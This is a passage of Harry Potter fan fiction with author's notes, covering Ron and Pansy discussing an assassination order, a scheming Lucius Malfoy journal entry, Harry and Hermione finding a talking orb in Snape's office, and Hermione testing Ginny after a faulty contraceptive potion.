playing with Pansy&#8217;s hair, winding the soft golden strands around one finger. So was there any reason at all to make him feel the way he did about her? Whatever this <i>was </i>that he was feeling. Ron still wasn&#8217;t quite sure on that point, so he furrowed his brow and forced himself to think of her good qualities in the hopes that it would become clear.</p>\n\n<p></p>\n\n<p> Pansy was tall. Even without her high heels on, she came closer to meeting his eye than any other girl he&#8217;d met aside from Millicent Bulstrode. Pansy had long, slender legs that seemed to go on forever, a slim waist, and small, pert breasts. She was clever, but not so clever that she was in another galaxy (with some other girls he knew, who would remain nameless). Pansy seemed genuinely devoted to the people she cared about, even if they didn&#8217;t give a fig for <i>her</i>. She cared about her appearance and took great pains to put her best foot forward. Even if that foot sometimes wound up in someone&#8217;s arse, namely, his.</p>\n\n<p></p>\n\n<p> Ron grinned ruefully and continued to twirl her hair. She could take care of herself for the most part and didn&#8217;t have any qualms about hexing someone if they irritated her, or stomping their hand into crumbs. Pansy was a bit scary when angry and didn&#8217;t stop herself from grabbing the nearest blunt object and making good use of it in the heat of the moment.</p>\n\n<p></p>\n\n<p> He liked that, even if it meant that it was usually Ron who had incurred her wrath. That part of Pansy reminded Ron of someone, but he couldn&#8217;t remember who it was for the life of him.</p>\n\n<p></p>\n\n<p> Pansy stirred in the circle of his arms and he looked down to see her staring at him. He mentally added the fact that she had remarkable eyes to the good side of his list.</p>\n\n<p></p>\n\n<p> &#8220;Hullo,&#8221; Ron said cheerfully. &#8220;Did you have a good rest?&#8221;</p>\n\n<p></p>\n\n<p> She scowled at him and scrunched her small nose. Ron found this terribly appealing for some reason and moved that part of her anatomy into the &#8216;undecided&#8217; category. &#8220;What on earth am I doing on the floor lying next to <i>you</i>?&#8221;</p>\n\n<p></p>\n\n<p> Ron raised his eyebrows. Well, that was a mood breaker. The nose was definitely going back to the &#8216;bad&#8217; side. &#8220;Um, I gave you a bath and we sort of&#8212;um, well, there was snogging involved, and then we decided to fall asleep in the locker room somewhere along the line.&#8221;</p>\n\n<p></p>\n\n<p> Pansy pushed his arms away and sat up. She was still half asleep and seemed to have a difficult time remembering what had happened. Pansy pushed her hair back and rubbed her swollen eyes before directing a hazy, heavy-lidded glare at Ron. </p>\n\n<p></p>\n\n<p> &#8220;Did I shag you?&#8221; she asked, her voice still rough with sleep.</p>\n\n<p></p>\n\n<p> &#8220;No shagging,&#8221; he assured her.</p>\n\n<p></p>\n\n<p> She sighed in relief and laid back down on the floor, appeased for the moment. &#8220;I&#8217;m still confused.&#8221;</p>\n\n<p></p>\n\n<p> Ron nodded. &#8220;Me, too.&#8221;</p>\n\n<p></p>\n\n<p> Pansy turned over to look at him. &#8220;Why did you kiss me?&#8221;</p>\n\n<p></p>\n\n<p> He wrinkled his forehead in thought, but he couldn&#8217;t think of a reason. &#8220;It seemed like the thing to do?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Mmmn.&#8221; Pansy drummed her fingers on his chest absently before glancing at him from the corner of her eye. &#8220;You know I still have to kill you, right?&#8221;</p>\n\n<p></p>\n\n<p> Ron groaned and put a hand over his face. &#8220;I thought you gave that up finally.&#8221;</p>\n\n<p></p>\n\n<p> She shook her head and licked her lips as if she were trying to decide how much she should say. &#8220;You don&#8217;t understand. I&#8217;m supposed to kill you. I can&#8217;t now because of the debt, obviously, and I&#8217;ve failed. That night in the dungeons was my last chance.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Last chance? But you&#8217;ve had loads of chances since then! You&#8217;re not making any sen&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Someone <i>told</i> me to kill you, you thick sot!&#8221; Pansy screeched in exasperation, her voice echoing off the tiles.</p>\n\n<p></p>\n\n<p> Ron sat up and grabbed her by the upper arms, finally understanding. &#8220;Who? Who told you to do it?&#8221;</p>\n\n<p></p>\n\n<p> Pansy&#8217;s eyes darted away. &#8220;I can&#8217;t tell you, he&#8217;d kill me. It&#8217;s not as if I wasn&#8217;t eager enough to do it anyway. I wanted to avenge my father and &#8212; everything else. But I suppose if <i>your</i> father burst into my house and tried to kill my family, I would have sent him to Azkaban, too.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I<i>\n\n</i>didn&#8217;t send him there myself, you know. And why&#8217;d you use a knife? Couldn&#8217;t you have just hexed me, or poisoned me, or something? Why did it have to be a knife?&#8221; Ron asked. He could feel the blood on his hands, late at night when he was trying to sleep. If he touched his face, he could almost still feel the hot, sticky spatter of Lucius Malfoy on his cheek.</p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t know. He just gave me the knife and said to kill you that way, that it was appropriate. I thought I could do it. I thought I was strong enough to plunge it right in your heart, but I couldn&#8217;t.&#8221; Pansy glanced at her hands, then at his face.</p>\n\n<p></p>\n\n<p> &#8220;Who is it though? And why do they want me dead?&#8221;</p>\n\n<p></p>\n\n<p> Pansy sighed. &#8220;I can&#8217;t tell you who it was. You&#8217;d look at him the wrong way and he&#8217;d know that I told you. You Gryffindors wear your hearts on your sleeve and your suspicions in your wand.&#8221; Her eyes narrowed for just a moment. &#8220;You have no subtly, whereas he is the master of it, Weasley. He probably knows that I&#8217;m here with you now. The only thing I remember him saying was that you &#8216;upset the balance and threw off the game&#8217;.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Game?&#8221; Ron asked incredulously. &#8220;What game? The only thing I can think of is that he was talking about Voldemort, and that was no game. He was going to kill my entire bloody family! He wanted to kill Harry.&#8221; Ron put his head in his hands and shuddered. &#8220;I did it with a knife. Can you imagine? Voldemort crumpled on the floor like a sack of potatoes when I stabbed him with some <i>Muggle </i>knife my father brought home years ago.&#8221; </p>\n\n<p></p>\n\n<p> Ron paused and looked down at his hands. It wouldn&#8217;t be too hard to imagine that the tiny brown spots were actually bloodstains. Every freckle on his hands seemed to burn all at once, consuming his flesh, imprinting it with the miniscule tattoos that proclaimed him a murderer. </p>\n\n<p></p>\n\n<p> &#8220;Do you know what it&#8217;s like, Parkinson?&#8221; Ron asked suddenly. &#8220;Do you have any idea how it feels to stab someone?&#8221; Her eyes widened, but he pressed on. &#8220;Do you know what blood feels like when it gushes over your hands? Or the smell of it? The smell is so thick that you can almost taste it in the air, sort of zingy and coppery.&#8221;</p>\n\n<p></p>\n\n<p> Ron pressed his fingers to his mouth, almost expecting it to be there again. &#8220;I don&#8217;t think that you have it in you to kill someone like that, Pansy,&#8221; he said softly, letting her given name roll off his tongue again in the most intimate way. &#8220;I didn&#8217;t plan it out, I didn&#8217;t think. It just happened, and everything was over before anyone could breathe a word to stop me. The Death Eaters couldn&#8217;t see anything for the smoke, and when it cleared, Voldemort was dead. I mean, everyone was bloody gobsmacked and I wonder why no one did it before if it was just <i>that</i> easy. There are only a few people who know how he died other than my family, so whoever this guy is, he must be one of them and I&#8217;m going to find out with or without your help.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But I can&#8217;t help you,&#8221; Pansy gasped, her breath quickening. &#8220;Don&#8217;t you see? He knows <i>everything</i> that happens here at Hogwarts and he&#8217;ll know that I&#8217;m the one who told you. There&#8217;s just no way.&#8221; Pansy shook her head. &#8220;I don&#8217;t even know why I&#8217;m talking to you about this. I&#8217;m not sure if I hate you or if&#8212; well, whatever that other thing is.&#8221; Her eyes welled up and she wiped them hastily with the heel of her hand. &#8220;I&#8217;m so sodding confused!&#8221;</p>\n\n<p></p>\n\n<p> Ron snorted. &#8220;You think I&#8217;m not? I mean, you were trying to kill me a few hours ago and now I&#8217;m <i>cuddling</i> with you in the Gryffindor locker room. What&#8217;s worse is that I like it! Supreme confusion, this.&#8221;</p>\n\n<p></p>\n\n<p> Pansy nodded and rested her forehead on his chest. &#8220;And we didn&#8217;t even shag. It&#8217;s the oddest thing I&#8217;ve <i>ever</i> done.&#8221;</p>\n\n<p></p>\n\n<p> Ron ran his hand up and down her back, basking in the shiver of pleasure that tingled his nerves. He felt that it was probably the most beautiful thing he&#8216;d ever live to experience. &#8220;Tell me about it.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>\n\n<i>10th October, 1997</i></p><i>\n\n<p></p>\n\n<p> I&#8217;ve discovered the secret that Percy Weasley thinks that he hides so well. I informed My Lord and he was pleased. Although I had blackmail in mind, he thought of something much crueller and more likely to win the boy to our side. Unfortunately, this means that I must use myself as bait. The boy seems to have developed an attachment to me and it won&#8217;t be difficult to seduce the little sycophant.</p>\n\n<p></p>\n\n<p> I am Lucius Malfoy. I succeed where others fail, and I am positive that I can win both his trust and his heart. My Lord is eager to see this done well before Christmas, so I have little time.</p>\n\n<p></p>\n\n<p> Research and observation has told me that the boy is a bookworm and dedicated only to his work and his family. Apparently he had a falling out with his parents a couple of years ago, so he&#8217;s been especially attentive to them since then. He strikes me as a perfectionist and is one of those bourgeois, lower-class nothings who like to pretend that they&#8217;re higher in station than they really are. Before I destroy him, I&#8217;ll take pleasure in telling him just where he stands in the world and where he <b>always</b> will be.</p>\n\n<p></p>\n\n<p> Narcissa is &#8216;sick&#8217; again and I&#8217;ve grown tired of her histrionics. If it weren&#8217;t for the Rosier blood flowing through her veins, I would have rid myself of her years ago. At least she&#8217;s become intelligent enough not to cross me, and she leaves me to the whores and mistresses that warm my bed at night.</p>\n\n<p></p>\n\n<p> Her blood is too precious to be wasted though, and she is most certainly still of childbearing years. Perhaps I will have another child if My Lord decides that Draco is not what he wanted after all.</p>\n\n<p></p>\n\n<p> I&#8217;m still unsure of how My Lord managed to go through time and space to arrange marriages between families before he was even born, though I admire his power. Perhaps if I especially please him, he will share his secrets with me. His current body is weak and Draco&#8217;s will be much better. I&#8217;ve shown him the more recent pictures of the boy and My Lord seems pleased with his growth and development. The curse has kept Draco compliant and healthy, and my insistence has insured that he is well respected, if not liked, by his housemates and they will follow where he leads.</p>\n\n<p></p>\n\n<p> My Lord has said that he will perform the ritual after Christmas. He wants Harry Potter in my Chamber before he takes his new body, so that means I must keep Percy Weasley happy and occupied until then. But once he has helped us pass the barriers and into his parent&#8217;s home, he is of no more use to us. </p>\n\n<p></p>\n\n<p> I&#8217;m only thankful that I do not have to seduce the boy who drives the Knight Bus, as well. Fortunately, MacNair is taking care of that situation. He&#8217;s always been arrogant about his Charms knowledge, so I suppose he is the best candidate for crashing the gaudy thing. At least he doesn&#8217;t have to kiss the spotty driver, lucky bastard.</p>\n\n<p></p>\n\n</i><p><i>\n\n</i><b>My</b><i> luck has dwindled even lower it seems. Avery has such an abrasive personality that I shouldn&#8217;t have to accompany him to America to take care of the white willow bark negotiations. But he&#8217;ll likely bungle even that if I&#8217;m not there to steer him in the proper direction. If he vexes me, then he&#8217;ll surely vex the Americans, so I don&#8217;t see the point in going myself since that is our aim.</i></p><i>\n\n<p></p>\n\n<p></p>\n\n</i><p><i>\n\n</i>Draco closed his father&#8217;s journal with a thump and buried it under his pillow again. The silk of his duvet was hot and made him sweaty so he threw it off.</p>\n\n<p></p>\n\n<p> He didn&#8217;t know why he kept reading the journal; it only irritated him. Draco wanted to know what the curse was and if it was completely gone, but there was little to explain it aside from the fact that it seemed to make him easier to control and kept him healthy. The last part at least was true. He&#8217;d never been sick until that day at the Burrow when the snow sprite cursed him.</p>\n\n<p></p>\n\n<p> Draco shoved his hand under his pillow so he could feel the leather grain of his father&#8217;s journal, but he encountered something knobbly instead and pulled it out. Draco frowned at the sock in his hand. It was one of the ones Ginny had made for him. How did those damn things keep getting under his pillow, anyway?</p>\n\n<p></p>\n\n<p> It seemed as if he was always being cursed.</p>\n\n<p></p>\n\n<p> He flung it across the room and fell face down into his pillow, hoping that it would muffle his screams of exasperation. Draco didn&#8217;t want to be reminded of Ginny. It was a neat little package he&#8217;d already thrown into the bin, and he wanted it to stay there. Rubbish didn&#8217;t just jump out and attack you every time you threw it in the bin, did it? No, it stayed where it belonged.</p>\n\n<p></p>\n\n<p> Rubbish didn&#8217;t make you feel guilty.</p>\n\n<p></p>\n\n<p> &#8220;Aaaaah,&#8221; Draco moaned into his pillow. He flipped onto his back and jammed the pouf over his face. So he admitted it. He felt guilty. It wasn&#8217;t the end of the world, even if it was something relatively new. At least he could identify the feeling this time. Most of the things that were floating around in his mind were impossible to label.</p>\n\n<p></p>\n\n<p> Draco could admit that he&#8217;d been callous in pawning Ginny off on someone else outside the Great Hall. He didn&#8217;t want to deal with her anymore! It wasn&#8217;t as if she were his bloody responsibility or anything. Ginny was a big girl and she could take care of herself. And if she couldn&#8217;t, well, that&#8217;s what her poncy little friend was for.</p>\n\n<p></p>\n\n<p> He nodded in affirmation of this logic and rolled over to get some sleep. Draco was still for a while, his eyes tightly shut, waiting for the bliss of unconsciousness to come. After half an hour, he was twiddling his fingers in frustration and forcing himself not to think of Ginny and her pleading.</p>\n\n<p></p>\n\n<p> The way her brown eyes had watered did not make him feel guilty. Her hair, once so full of life and vitality, did not make him upset when he saw how dull it was now. It didn&#8217;t bother him in the slightest.</p>\n\n<p></p>\n\n<p> &#8220;Bugger!&#8221; Draco shouted. He burrowed his head under the pillow, holding it over his ears as if it would protect him from his own mind. Someone muttered something off colour and tossed a shoe in his general direction. Draco lifted the pillow to watch as it bounced off the bedpost and onto the floor.</p>\n\n<p></p>\n\n<p> He twisted and squirmed in his bed, willing the sleep to come. Draco finally sighed and gave in to what he wanted. He cast a warming charm on the material and allowed himself to pretend that the pillow was really Ginny. Draco imagined that the silken covering was her soft belly skin, and if he moved his arm under it just right, it was her breathing.</p>\n\n<p></p>\n\n<p> Draco fell asleep soon after that.</p>\n\n<p></p>\n\n<p></p>\n\n<p> *~*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p> Harry glanced at his map again. It confirmed that Snape was in his private chambers and no one was in or near his office. Harry motioned for Hermione to release the spell that held the Silence Sphere around them so they could pass the wards into Snape&#8217;s office.</p>\n\n<p></p>\n\n<p> Hermione cleared her throat and whispered the password that Harry had managed to get earlier that day. &#8220;<i>Wits sharp</i>.&#8221;</p>\n\n<p></p>\n\n<p> The door to Snape&#8217;s office creaked open and Harry nodded to Hermione. The plan was simple: she would go into the office, find the box, open the box, and make the switch. Harry would guard the door and keep an eye on the Marauder&#8217;s map to make sure that Snape didn&#8217;t come and find them.</p>\n\n<p></p>\n\n<p> Hermione had practiced chanting her spells as quietly as possible all that afternoon. She had finally arrived at the point where Harry couldn&#8217;t hear her speak the words even from right next to her, but the spell would work anyway because she had pronounced it properly.</p>\n\n<p></p>\n\n<p> So even if the walls <i>did</i> have ears, they wouldn&#8217;t hear much.</p>\n\n<p></p>\n\n<p> Harry looked down at the map. He concentrated solely on where it showed Snape walking a circuit of his bedroom. Round and round, back and forth, likely pacing. Did the man never sleep?</p>\n\n<p></p>\n\n<p> A quick peek around the office door revealed Hermione hard at work, casting various charms on an old, iron-banded wooden box that sat on Snape&#8217;s desk. That had to be it; there were no other boxes. She blew out a breath in frustration and poked her wand into the brass keyhole, mouthing a spell that turned the end of it into a key. Hermione gave a small squeak of delight when the lock clicked and quickly clamped a hand over her mouth, shooting an apologetic glance at Harry. He shook his head and mouthed the word: &#8216;hurry&#8217;.</p>\n\n<p></p>\n\n<p> Hermione nodded and carefully opened the box, gazing at the contents with puzzlement. Harry took this opportunity to glance at his map again and almost cried out. Snape was coming!</p>\n\n<p></p>\n\n<p> He waved to get Hermione&#8217;s attention and pointed at the map. She beetled her brows and reached into her pocket for the quill she had brought with her in order to have something to transfigure. Hermione whispered a few words and Harry looked back at the map. Just as he was about to pull her bodily out of Snape&#8217;s office, Hermione rushed up to him. Harry threw the cloak over her and closed the door as Hermione waved her wand over them, casting the Silence Sphere.</p>\n\n<p></p>\n\n<p> &#8220;Did you get it?&#8221; he asked finally. His heart was in his throat and he knew that Snape was going to open the door to the Potions classroom any moment.</p>\n\n<p></p>\n\n<p> &#8220;Yes. Although I&#8217;m starting to think that this is someone&#8217;s idea of a joke. I mean, hones&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Hermione, we need to leave now. We can study whatever it is when we get back to Gryffindor. Snape is just outside of the room.&#8221;</p>\n\n<p></p>\n\n<p> She sighed and put her wand away. &#8220;Well, where is he? It doesn&#8217;t take this long to walk from his chambers, they&#8217;re only three doors down.&#8221;</p>\n\n<p></p>\n\n<p> Harry frowned and looked back at his map. Snape had stopped directly outside of the door and he didn&#8217;t seem to be moving one-way or the other. &#8220;Um, Snape&#8217;s just standing there; it&#8217;s like he&#8217;s waiting for something.&#8221;</p>\n\n<p></p>\n\n<p> Hermione threw her hands up in frustration. &#8220;Perfect. Knowing Professor Snape, he&#8217;ll stay out there all night just to spite us.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;At least we have the Silence Sphere and the cloak. We can sit down over here until he goes away.&#8221;</p>\n\n<p></p>\n\n<p> He walked over to a bench and pulled her into his lap. Hermione squealed and laughed when he started tickling her outer thigh. Harry found himself suddenly hoping that Snape would stay outside the door for a while. </p>\n\n<p></p>\n\n<p> &#8220;<i>Harry</i>! You&#8217;re impossible. Professor Snape is only a few feet away and you&#8217;re getting randy with me?&#8221;</p>\n\n<p></p>\n\n<p> Harry grinned and kissed the flushed skin on the back of her neck. &#8220;It is a bit naughty, isn&#8217;t it? Knowing we could be caught any moment.&#8221;</p>\n\n<p></p>\n\n<p> Hermione shivered under the pressure of his lips. &#8220;I suppose it is.&#8221;</p>\n\n<p></p>\n\n<p> She relaxed against him for a moment before bolting upright again. &#8220;Wait a moment, Harry. I wanted to show you just what we came here for.&#8221;</p>\n\n<p></p>\n\n<p> Harry sighed and rolled his eyes. If he&#8217;d had any doubts about Hermione acting oddly before, she had just confirmed that she was, indeed, normal again. </p>\n\n<p></p>\n\n<p> &#8220;What is it?&#8221; he asked huskily.</p>\n\n<p></p>\n\n<p> Hermione wiggled around so she could face him and pulled something from a pocket in her robes. The squirming of her backside on his lap made him bite his lip, but he tried to give her his full mental attention.</p>\n\n<p></p>\n\n<p> &#8220;This is all that was in that box. It doesn&#8217;t look particularly auspicious to me, but then again, this <i>is</i> the wizarding world. It could very possibly be a Portkey.&#8221;</p>\n\n<p></p>\n\n</font><p><font face="Palatino Linotype" size="4"> Harry frowned and lifted the object from Hermione&#8217;s hands. It was dark inside the cloak, but he could see that it was a small, embossed metal box with a hinge lid. The texture of the metal told him that it was a bit rusty and the peeling paint on the cover spelled out: </font><i><font face="Palatino Linotype" size="5">Schub-rt&#8217;s Scru&#8212;tious Sherbets</font></i><font face="Palatino Linotype" size="4">. The box looked incredibly old.</font></p><font face="Palatino Linotype" size="4">\n\n<p></p>\n\n<p> &#8220;I really hope this is more than a box of sherbets or I&#8217;ll be <i>severely</i> disappointed.&#8221;</p>\n\n<p></p>\n\n<p> Hermione smacked him lightly on the arm. &#8220;Harry, be serious for a moment. <i>I</i> hope that we&#8217;ve only discovered that Snape has a secret liking for Muggle sweets. I don&#8217;t care how much effort we&#8217;ve put into finding out, it&#8217;s better than any alternative I can imagine!&#8221;</p>\n\n<p></p>\n\n<p> Harry curled his fingers over the lid but Hermione slammed her hand down over his. Some rust flakes fell on his trouser leg from the impact, but he didn&#8217;t bother with brushing them away.</p>\n\n<p></p>\n\n<p> &#8220;Are you mad?&#8221; she hissed. &#8220;If it <i>is</i> a Portkey, opening it up could activate it and take us to God only knows where! We&#8217;re not prepared. We need to do some more research and&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Harry shook her hand away and ripped open the top, bracing himself for the behind-the-navel pull of a Portkey activation, but was relieved when he didn&#8217;t feel it.</p>\n\n<p></p>\n\n<p> &#8220;Nothing happened. It really is just a box of sherbet lem&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Hello? Is someone there?&#8221; a small, tinny voice called out, cutting Harry off.</p>\n\n<p></p>\n\n<p> &#8220;Did you hear that, Hermione?&#8221;</p>\n\n<p></p>\n\n<p> Hermione nodded and pointed at his hand. The voice was coming from there and suddenly a little ball of white light rose from the shallow box and hovered just in front of them.</p>\n\n<p></p>\n\n<p> &#8220;Who are you?&#8221; the orb asked.</p>\n\n<p></p>\n\n<p> Harry glanced at Hermione, but she only shrugged. &#8220;I&#8217;m, uh, I&#8217;m Harry Potter.&#8221; He raised his eyebrows and squinted his eyes against the sudden brightness. &#8220;Who are you?&#8221;</p>\n\n<p></p>\n\n<p> The ball of light seemed to flicker, as if considering the question before answering. &#8220;My name is Albus Dumbledore,&#8221; it said in a creaky, pompous boom. &#8220;I&#8217;m the Potions Master at Hogwarts School of Witchcraft and Wizardry.&#8221;</p>\n\n<p></p>\n\n<p> Harry blinked rapidly and rubbed at his eyes. The little ball of light was still there and he could have sworn that it said&#8212;</p>\n\n<p></p>\n\n<p> &#8220;Um, you&#8217;re who?&#8221;</p>\n\n<p></p>\n\n<p> The orb flickered in annoyance. &#8220;I <i>said</i> that my name is Albus Dumbledore. Are you hard of hearing, boy?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;N-no, sir.&#8221; Harry stuttered. &#8220;It&#8217;s just that, well, you <i>can&#8217;t</i> be Professor Dumbledore.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I agree,&#8221; Hermione said. </p>\n\n<p></p>\n\n<p> She studied the empty box now that she had light to see it. Harry took the opportunity to peruse the Marauder&#8217;s Map. His eyes passed briefly over Snape, who was still pacing outside of the Potions classroom. But then Harry flicked his gaze to the Headmaster&#8217;s bedchambers in the far corner. There was a small dot labelled &#8216;Albus Dumbledore&#8217; with a little bubble hovering over it that said: &#8216;Zzzzzzz&#8217;.</p>\n\n<p></p>\n\n<p> &#8220;Ha!&#8221; Harry crowed, triumphant. He tapped the map with his finger and shoved it closer to the little ball of light. &#8220;You see that? It says that Dumbledore is in his quarters, so you can&#8217;t possibly be him.&#8221;</p>\n\n<p></p>\n\n<p> Hermione nodded academically. &#8220;Not to mention that you&#8217;re little more than an animated candle flame; no offence intended, of course. Certainly not a professor.&#8221;</p>\n\n<p></p>\n\n<p> The &#8216;animated candle flame&#8217; flitted closer to the map, peering down as if it were nearsighted. It gave a startled yelp and jumped back.</p>\n\n<p></p>\n\n<p> &#8220;But-but, <i>I&#8217;m </i>Albus Dumbledore!&#8221;</p>\n\n<p></p>\n\n<p> Harry shook his head and gritted his teeth to keep from screaming. &#8220;No, you&#8217;re <i>not</i>.&#8221; He pointed at the Headmaster&#8217;s chambers again. &#8220;The Marauder&#8217;s Map says that Albus Dumbledore is asleep. And if you look over here to where we are, it says&#8212;&#8221; Harry froze. &#8220;It says&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;What?&#8221; Hermione squinted down at the map. Harry trailed his finger reluctantly over the map to show her, searching for the little dots that said: &#8216;Harry Potter&#8217; and &#8216;Hermione Granger&#8217;. But when the pad of his finger grazed over the Potions classroom, there was another dot. One that hadn&#8217;t been there when he checked to see if anyone was inside of Snape&#8217;s office earlier.</p>\n\n<p></p>\n\n<p> It was labelled, in impossibly tiny letters: &#8216;Essence of Albus Dumbledore&#8217;.</p>\n\n</font><font size="2">\n\n<p></p>\n\n<p></p></font>\n\n '),
	(271, 27, ' <blockquote>\n\n<font face="Palatino Linotype"><p>\n\n</p></font><p><font face="Palatino Linotype"><b>Authour&#8217;s Notes</b>: This is the chapter which contains Big Clich&#233; Number One. I&#8217;ve tried my best to keep it fairly realistic and everything, yet still stay within the HP realm. Contained herein is 80% of the plot, believe it or not. At this time, I&#8217;d like to thank Claire and Alexis for being the little cuties that they are. I also have a live journal now if anyone wants to check it out. My username is singtoangels (for those of you on ff.net who can&#8217;t see the link) and the link is </font><a href="http://livejournal.com/users/singtoangels"><u><font face="Palatino Linotype" color="#0000ff">http://livejournal.com/users/singtoangels</font></u></a><font face="Palatino Linotype"> It&#8217;s my public journal for things such as cookies from AIDE, ficlets, smutlets, and updates on how much I&#8217;ve written and when the next chapter might be out. It also contains boring things like rants and fun things like recs.</font></p><font face="Palatino Linotype">\n\n<p></p>\n\n<p> I know that I really left you all hanging in the last chapter, and I&#8217;m sorry, but the resolution with that is slow in coming. I finished chapter 30 a couple of weeks ago and that contains a bit more, but it&#8217;s still not resolved with what exactly Albus Quaffle is. I&#8217;ve started chapter 31, and I&#8217;m slowly but surely getting all my plot threads back together after the death of my old computer right buggered me by losing my notes and everything.</p>\n\n<p></p>\n\n<p> A heads up to Colin lovers. Chapter 28 is going to be a real tear jerker with him. He&#8217;s going to make you cry. Me, the hard-assed bitch that I am, cried at his dialogue, so expect some warm sniffles.</p>\n\n<p></p>\n\n<p> I&#8217;m excited about the next chapter coming out. It&#8217;s all about Percy and just what the hell motivated him to join up with Lucius and the Death Eaters. It has art from Lizard and Glockgirl and I&#8217;m quite pleased at that. Two pieces of art for one incredibly long chapter. Yay!</p>\n\n<p></p>\n\n<p> Go on now, go read. You don&#8217;t want to be arsed with my inane and copious notes anymore. Shoo!</p>\n\n<p></p>\n\n<p>(Psst: Sharlene, don&#8217;t worry about your fat mouth, just tell me what you think. Hee hee.)</p>\n\n<p></p>\n\n<p></p>\n\n<p><i>I existed from all eternity and, behold, I am here; and I shall exist till the end of time, for my being has no end.<br>\n ~ Kahlil Gibran - Anthem of Humanity</i>\n\n</p><p></p>\n\n<p>Ginny awoke the next morning with a pounding headache. The sunlight glinting through the windows was bright and cheerful, and there was enough of it to tell Ginny that it was almost noon. Apparently Colin told her dormmates not to wake her up for lessons.</p>\n\n<p></p>\n\n<p> She grumbled to herself and went to swing her legs over the bed, but they bumped into something solid.</p>\n\n<p></p>\n\n<p> &#8220;Wha&#8212;? <i>Hermione</i>? What in Merlin&#8217;s name are you doing here?&#8221;</p>\n\n<p></p>\n\n<p> It was true. Hermione was sitting on the edge of Ginny&#8217;s bed, her back rigid and her hands folded calmly on her lap. She seemed to have been waiting for some time because Ginny&#8217;s outburst startled her.</p>\n\n<p></p>\n\n<p> &#8220;Oh, I see that you&#8217;re finally awake.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Erm,&#8221; Ginny rubbed her eyes. &#8220;Yeah, I s&#8217;pose I am.&#8221;</p>\n\n<p></p>\n\n<p> Hermione nodded and stood up. Her manner was strangely businesslike as she carefully smoothed her skirt down. &#8220;I asked if I could bring your work up to you. It gave me an excuse to be here and the perfect time to do it. Everyone&#8217;s in lessons right now.&#8221;</p>\n\n<p></p>\n\n<p> Ginny nodded warily. &#8220;All right. Um.&#8221; She stretched her arms out over her head and yawned. &#8220;Thanks for bringing my coursework and everything, but uh&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I didn&#8217;t come up here just to bring that!&#8221; Hermione snapped coldly. &#8220;Get out of bed and follow me.&#8221;</p>\n\n<p></p>\n\n<p> Ginny blinked and decided not to bother asking what was going on. She grabbed the dressing gown beside her bed and slipped it over her shoulders, choosing to go without her slippers for the time being, in case Hermione yelled at her again because it took too long to find them.</p>\n\n<p></p>\n\n<p> Hermione walked stiffly to the sixth year girls&#8217; lavatory across the room and Ginny shuffled after her, still half-asleep. She watched as Hermione pulled several vials from a rucksack she was carrying and line them up carefully on the sink.</p>\n\n<p></p>\n\n<p> &#8220;What are those?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Something I&#8217;ve been working on,&#8221; Hermione muttered as she started to mix ingredients together. &#8220;It&#8217;s amazing how utterly backwards the wizarding world is about some things, but completely open about others. I mean, you found that stupid potion in the back pages of Witches&#8217; Weekly, yet I had to create <i>this</i> potion through research in Muggle chemistry because, apparently, no wizarding equivalent exists.&#8221; She held a vial up to her eye and swirled it around carefully. &#8220;I&#8217;ve looked through loads of books in the Restricted Section and all for nothing. And Madame Pomfrey wouldn&#8217;t let me near her precious medical books again.&#8221; Hermione made a scoffing sound at the back of her throat and mumbled something that sounded like &#8216;old-fashioned hypocrites&#8217;. &#8220;It&#8217;s positively ridiculous,&#8221; she said a bit louder. &#8220;Give me your hand.&#8221;</p>\n\n<p></p>\n\n<p> Ginny was hesitant, but she stretched her hand out anyway. Hermione snatched it up and quickly pricked her finger with a pin, causing Ginny to cry out. </p>\n\n<p></p>\n\n<p> &#8220;Oh, be still! It&#8217;s just a pin prick.&#8221;</p>\n\n<p></p>\n\n<p> She squeezed the end of Ginny&#8217;s finger to extract a large, ruby drop of blood before upending it over one of the vials. She let go of Ginny&#8217;s hand and swished the light blue liquid around, mixing the blood in thoroughly before pricking her own thumb and carefully dripping some of the blood into the other vial.</p>\n\n<p></p>\n\n<p> &#8220;There,&#8221; Hermione said with satisfaction. &#8220;Now we just have to wait for one and a half minutes and if it changes colour, we&#8217;ll know for sure.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Uh . . .&#8221; Ginny was a little more awake now, but still groggy enough that she completely missed the point. However, she had the feeling that even if she were in full possession of her senses, she would still be confused. &#8220;What will we know for sure?&#8221;</p>\n\n<p></p>\n\n<p> Hermione stared at Ginny for a moment before blinking and clearing her throat. &#8220;Well, we&#8217;ll <i>know</i>. Don&#8217;t tell me that you haven&#8217;t suspected at least.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Suspected what?&#8221;</p>\n\n<p></p>\n\n<p> Hermione shook her head in exasperation and pinched the bridge of her nose so hard that the tips of her fingers were white. &#8220;Ginny, you <i>do</i> know that the potion you made at the Burrow was faulty, right?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;What?!&#8221; Ginny was suddenly wide-awake and panicked. &#8220;The potion was faulty? B-but I did everything it said! The only things missing were the Flobberworms, and they only thicken it so I don&#8217;t see&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Hermione nodded. &#8220;I know that&#8217;s what you thought, and I&#8212;well, I can only blame you so much because I took it, too, and didn&#8217;t bother to check for myself if it was brewed properly. Though I realised later what you left out of the first batch when I read through that book of Madame Pomfrey&#8217;s. I&#8217;ve done research on that potion, you see, and it was defective to begin with. Even though it <i>does</i> work roughly eighty-percent of the time, there are better methods for long term contraceptives with some of the more common tinctures such as slippery elm mixed with progesterone and or estrogen 